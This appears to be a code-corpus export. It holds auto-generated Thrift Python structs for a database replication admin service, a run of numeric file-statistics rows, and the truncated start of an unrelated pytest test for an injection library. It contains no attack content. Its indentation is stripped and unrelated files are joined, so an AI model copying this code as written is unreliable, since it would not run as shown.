if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CompactDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CompactDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CompactDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class SetDbMetaDataRequest(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('SetDbMetaDataRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class SetDbMetaDataResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('SetDbMetaDataResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class GetDbMetaDataRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('GetDbMetaDataRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class GetDbMetaDataResponse(object):
"""
Attributes:
- db_name
- s3_bucket
- s3_path
"""
def __init__(self, db_name=None, s3_bucket=None, s3_path=None,):
self.db_name = db_name
self.s3_bucket = s3_bucket
self.s3_path = s3_path
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.s3_bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.s3_path = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('GetDbMetaDataResponse')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.s3_bucket is not None:
oprot.writeFieldBegin('s3_bucket', TType.STRING, 2)
oprot.writeString(self.s3_bucket.encode('utf-8') if sys.version_info[0] == 2 else self.s3_bucket)
oprot.writeFieldEnd()
if self.s3_path is not None:
oprot.writeFieldBegin('s3_path', TType.STRING, 3)
oprot.writeString(self.s3_path.encode('utf-8') if sys.version_info[0] == 2 else self.s3_path)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CheckLoadsstRouterRequest(object):
"""
Attributes:
- segment
- version
- partitions_count
- replicas_count
"""
def __init__(self, segment=None, version=None, partitions_count=None, replicas_count=None,):
self.segment = segment
self.version = version
self.partitions_count = partitions_count
self.replicas_count = replicas_count
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.segment = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.version = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.partitions_count = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.replicas_count = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CheckLoadsstRouterRequest')
if self.segment is not None:
oprot.writeFieldBegin('segment', TType.STRING, 1)
oprot.writeString(self.segment.encode('utf-8') if sys.version_info[0] == 2 else self.segment)
oprot.writeFieldEnd()
if self.version is not None:
oprot.writeFieldBegin('version', TType.I32, 2)
oprot.writeI32(self.version)
oprot.writeFieldEnd()
if self.partitions_count is not None:
oprot.writeFieldBegin('partitions_count', TType.I32, 3)
oprot.writeI32(self.partitions_count)
oprot.writeFieldEnd()
if self.replicas_count is not None:
oprot.writeFieldBegin('replicas_count', TType.I32, 4)
oprot.writeI32(self.replicas_count)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.segment is None:
raise TProtocolException(message='Required field segment is unset!')
if self.version is None:
raise TProtocolException(message='Required field version is unset!')
if self.partitions_count is None:
raise TProtocolException(message='Required field partitions_count is unset!')
if self.replicas_count is None:
raise TProtocolException(message='Required field replicas_count is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CheckLoadsstRouterResponse(object):
"""
Attributes:
- status
"""
def __init__(self, status=None,):
self.status = status
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.BOOL:
self.status = iprot.readBool()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CheckLoadsstRouterResponse')
if self.status is not None:
oprot.writeFieldBegin('status', TType.BOOL, 1)
oprot.writeBool(self.status)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.status is None:
raise TProtocolException(message='Required field status is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class MigrateSSTToObjectRequest(object):
"""
Attributes:
- db_name
- bucket
- backup_dir
- limit_mbs
- platform
- region
"""
def __init__(self, db_name=None, bucket=None, backup_dir=None, limit_mbs=0, platform=None, region=None,):
self.db_name = db_name
self.bucket = bucket
self.backup_dir = backup_dir
self.limit_mbs = limit_mbs
self.platform = platform
self.region = region
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.backup_dir = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.limit_mbs = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.platform = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.STRING:
self.region = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('MigrateSSTToObjectRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.bucket is not None:
oprot.writeFieldBegin('bucket', TType.STRING, 2)
oprot.writeString(self.bucket.encode('utf-8') if sys.version_info[0] == 2 else self.bucket)
oprot.writeFieldEnd()
if self.backup_dir is not None:
oprot.writeFieldBegin('backup_dir', TType.STRING, 3)
oprot.writeString(self.backup_dir.encode('utf-8') if sys.version_info[0] == 2 else self.backup_dir)
oprot.writeFieldEnd()
if self.limit_mbs is not None:
oprot.writeFieldBegin('limit_mbs', TType.I32, 4)
oprot.writeI32(self.limit_mbs)
oprot.writeFieldEnd()
if self.platform is not None:
oprot.writeFieldBegin('platform', TType.STRING, 5)
oprot.writeString(self.platform.encode('utf-8') if sys.version_info[0] == 2 else self.platform)
oprot.writeFieldEnd()
if self.region is not None:
oprot.writeFieldBegin('region', TType.STRING, 6)
oprot.writeString(self.region.encode('utf-8') if sys.version_info[0] == 2 else self.region)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.bucket is None:
raise TProtocolException(message='Required field bucket is unset!')
if self.backup_dir is None:
raise TProtocolException(message='Required field backup_dir is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class MigrateSSTToObjectResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('MigrateSSTToObjectResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(DBMetaData)
DBMetaData.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
)
all_structs.append(AdminException)
AdminException.thrift_spec = (
None, # 0
(1, TType.STRING, 'message', 'UTF8', None, ), # 1
(2, TType.I32, 'errorCode', None, None, ), # 2
)
all_structs.append(AddDBRequest)
AddDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'upstream_ip', 'UTF8', None, ), # 2
(3, TType.BOOL, 'overwrite', None, False, ), # 3
)
all_structs.append(AddDBResponse)
AddDBResponse.thrift_spec = (
)
all_structs.append(BackupDBRequest)
BackupDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'hdfs_backup_dir', 'UTF8', None, ), # 2
(3, TType.I32, 'limit_mbs', None, 0, ), # 3
)
all_structs.append(BackupDBResponse)
BackupDBResponse.thrift_spec = (
)
all_structs.append(RestoreDBRequest)
RestoreDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'hdfs_backup_dir', 'UTF8', None, ), # 2
(3, TType.STRING, 'upstream_ip', 'UTF8', None, ), # 3
(4, TType.I16, 'upstream_port', None, None, ), # 4
(5, TType.I32, 'limit_mbs', None, 0, ), # 5
(6, TType.STRING, 'db_role', 'UTF8', None, ), # 6
)
all_structs.append(RestoreDBResponse)
RestoreDBResponse.thrift_spec = (
)
all_structs.append(BackupDBToObjectRequest)
BackupDBToObjectRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 'backup_dir', 'UTF8', None, ), # 3
(4, TType.I32, 'limit_mbs', None, 0, ), # 4
(5, TType.STRING, 'platform', 'UTF8', None, ), # 5
(6, TType.STRING, 'region', 'UTF8', None, ), # 6
)
all_structs.append(BackupDBToObjectResponse)
BackupDBToObjectResponse.thrift_spec = (
)
all_structs.append(RestoreDBFromObjectRequest)
RestoreDBFromObjectRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 'backup_dir', 'UTF8', None, ), # 3
(4, TType.STRING, 'upstream_ip', 'UTF8', None, ), # 4
(5, TType.I16, 'upstream_port', None, None, ), # 5
(6, TType.I32, 'limit_mbs', None, 0, ), # 6
(7, TType.STRING, 'db_role', 'UTF8', None, ), # 7
(8, TType.STRING, 'platform', 'UTF8', None, ), # 8
(9, TType.STRING, 'region', 'UTF8', None, ), # 9
)
all_structs.append(RestoreDBFromObjectResponse)
RestoreDBFromObjectResponse.thrift_spec = (
)
all_structs.append(CloseDBRequest)
CloseDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(CloseDBResponse)
CloseDBResponse.thrift_spec = (
)
all_structs.append(CheckDBRequest)
CheckDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(CheckDBResponse)
CheckDBResponse.thrift_spec = (
None, # 0
(1, TType.I64, 'seq_num', None, 0, ), # 1
(2, TType.I64, 'wal_ttl_seconds', None, 0, ), # 2
(3, TType.I64, 'last_update_timestamp_ms', None, 0, ), # 3
(4, TType.BOOL, 'is_master', None, False, ), # 4
)
all_structs.append(ChangeDBRoleAndUpstreamRequest)
ChangeDBRoleAndUpstreamRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'new_role', 'UTF8', None, ), # 2
(3, TType.STRING, 'upstream_ip', 'UTF8', None, ), # 3
(4, TType.I16, 'upstream_port', None, None, ), # 4
)
all_structs.append(ChangeDBRoleAndUpstreamResponse)
ChangeDBRoleAndUpstreamResponse.thrift_spec = (
)
all_structs.append(GetSequenceNumberRequest)
GetSequenceNumberRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(GetSequenceNumberResponse)
GetSequenceNumberResponse.thrift_spec = (
None, # 0
(1, TType.I64, 'seq_num', None, None, ), # 1
)
all_structs.append(ClearDBRequest)
ClearDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.BOOL, 'reopen_db', None, True, ), # 2
)
all_structs.append(ClearDBResponse)
ClearDBResponse.thrift_spec = (
)
all_structs.append(AddS3SstFilesToDBRequest)
AddS3SstFilesToDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
(4, TType.I32, 's3_download_limit_mb', None, 64, ), # 4
(5, TType.STRING, 'region', 'UTF8', None, ), # 5
(6, TType.BOOL, 'overlapping', None, True, ), # 6
(7, TType.BOOL, 'should_compact', None, True, ), # 7
(8, TType.BOOL, 'ingest_behind', None, False, ), # 8
)
all_structs.append(AddS3SstFilesToDBResponse)
AddS3SstFilesToDBResponse.thrift_spec = (
)
all_structs.append(DownloadS3SstFilesRequest)
DownloadS3SstFilesRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
(4, TType.I32, 's3_download_limit_mb', None, 64, ), # 4
(5, TType.STRING, 'region', 'UTF8', None, ), # 5
)
all_structs.append(DownloadS3SstFilesResponse)
DownloadS3SstFilesResponse.thrift_spec = (
)
all_structs.append(IngestSstsToDBRequest)
IngestSstsToDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
)
all_structs.append(IngestSstsToDBResponse)
IngestSstsToDBResponse.thrift_spec = (
)
all_structs.append(StartMessageIngestionRequest)
StartMessageIngestionRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'topic_name', 'UTF8', None, ), # 2
(3, TType.STRING, 'kafka_broker_serverset_path', 'UTF8', None, ), # 3
(4, TType.I64, 'replay_timestamp_ms', None, None, ), # 4
)
all_structs.append(StartMessageIngestionResponse)
StartMessageIngestionResponse.thrift_spec = (
)
all_structs.append(StopMessageIngestionRequest)
StopMessageIngestionRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(StopMessageIngestionResponse)
StopMessageIngestionResponse.thrift_spec = (
)
all_structs.append(SetDBOptionsRequest)
SetDBOptionsRequest.thrift_spec = (
None, # 0
(1, TType.MAP, 'options', (TType.STRING, 'UTF8', TType.STRING, 'UTF8', False), None, ), # 1
(2, TType.STRING, 'db_name', 'UTF8', None, ), # 2
)
all_structs.append(SetDBOptionsResponse)
SetDBOptionsResponse.thrift_spec = (
)
all_structs.append(CompactDBRequest)
CompactDBRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(CompactDBResponse)
CompactDBResponse.thrift_spec = (
)
all_structs.append(SetDbMetaDataRequest)
SetDbMetaDataRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
)
all_structs.append(SetDbMetaDataResponse)
SetDbMetaDataResponse.thrift_spec = (
)
all_structs.append(GetDbMetaDataRequest)
GetDbMetaDataRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
)
all_structs.append(GetDbMetaDataResponse)
GetDbMetaDataResponse.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 's3_bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 's3_path', 'UTF8', None, ), # 3
)
all_structs.append(CheckLoadsstRouterRequest)
CheckLoadsstRouterRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'segment', 'UTF8', None, ), # 1
(2, TType.I32, 'version', None, None, ), # 2
(3, TType.I32, 'partitions_count', None, None, ), # 3
(4, TType.I32, 'replicas_count', None, None, ), # 4
)
all_structs.append(CheckLoadsstRouterResponse)
CheckLoadsstRouterResponse.thrift_spec = (
None, # 0
(1, TType.BOOL, 'status', None, None, ), # 1
)
all_structs.append(MigrateSSTToObjectRequest)
MigrateSSTToObjectRequest.thrift_spec = (
None, # 0
(1, TType.STRING, 'db_name', 'UTF8', None, ), # 1
(2, TType.STRING, 'bucket', 'UTF8', None, ), # 2
(3, TType.STRING, 'backup_dir', 'UTF8', None, ), # 3
(4, TType.I32, 'limit_mbs', None, 0, ), # 4
(5, TType.STRING, 'platform', 'UTF8', None, ), # 5
(6, TType.STRING, 'region', 'UTF8', None, ), # 6
)
all_structs.append(MigrateSSTToObjectResponse)
MigrateSSTToObjectResponse.thrift_spec = (
)
fix_spec(all_structs)
del all_structs
| 37.483043
| 166
| 0.590404
| 14,234
| 122,682
| 4.827736
| 0.017212
| 0.023051
| 0.034576
| 0.034576
| 0.889097
| 0.867793
| 0.853445
| 0.839562
| 0.835051
| 0.834789
| 0
| 0.014319
| 0.298112
| 122,682
| 3,272
| 167
| 37.494499
| 0.783716
| 0.015096
| 0
| 0.831144
| 1
| 0
| 0.049404
| 0.006153
| 0
| 0
| 0
| 0
| 0
| 1
| 0.109568
| false
| 0
| 0.001876
| 0.04015
| 0.230769
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e2c40d870fc21fe93c71d2e00b7cef0696e48395
| 16,292
|
py
|
Python
|
tests/unit/injection/inject_unit_test.py
|
mt3o/injectable
|
0ffc5c758b63d9391134cd822158e1846999b404
|
[
"MIT"
] | 71
|
2018-02-05T04:12:27.000Z
|
2022-02-15T23:08:16.000Z
|
tests/unit/injection/inject_unit_test.py
|
Euraxluo/injectable
|
74e640f0911480fb06fa97c1a468c3863541c0fd
|
[
"MIT"
] | 104
|
2018-02-06T23:37:36.000Z
|
2021-08-25T04:50:15.000Z
|
tests/unit/injection/inject_unit_test.py
|
Euraxluo/injectable
|
74e640f0911480fb06fa97c1a468c3863541c0fd
|
[
"MIT"
] | 13
|
2019-02-10T18:52:50.000Z
|
2022-01-26T17:12:35.000Z
|
from unittest.mock import MagicMock
import pytest
from pytest import fixture
from pytest_mock import MockFixture
from injectable import inject, Injectable, inject_multiple
from injectable.errors import InjectionError
from injectable.constants import DEFAULT_NAMESPACE
from injectable.injection.injection_utils import RegistryType
@fixture
def get_dependency_name_mock(mocker: MockFixture):
return mocker.patch("injectable.injection.inject.get_dependency_name")
@fixture
def get_dependency_registry_type_mock(mocker: MockFixture):
return mocker.patch("injectable.injection.inject.get_dependency_registry_type")
@fixture
def get_namespace_injectables_mock(mocker: MockFixture):
return mocker.patch("injectable.injection.inject.get_namespace_injectables")
@fixture
def filter_by_group_mock(mocker: MockFixture):
return mocker.patch("injectable.injection.inject.filter_by_group")
@fixture
def resolve_single_injectable_mock(mocker: MockFixture):
return mocker.patch("injectable.injection.inject.resolve_single_injectable")
class TestInject:
def test__inject__with_default_values(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
expected_instance = MagicMock
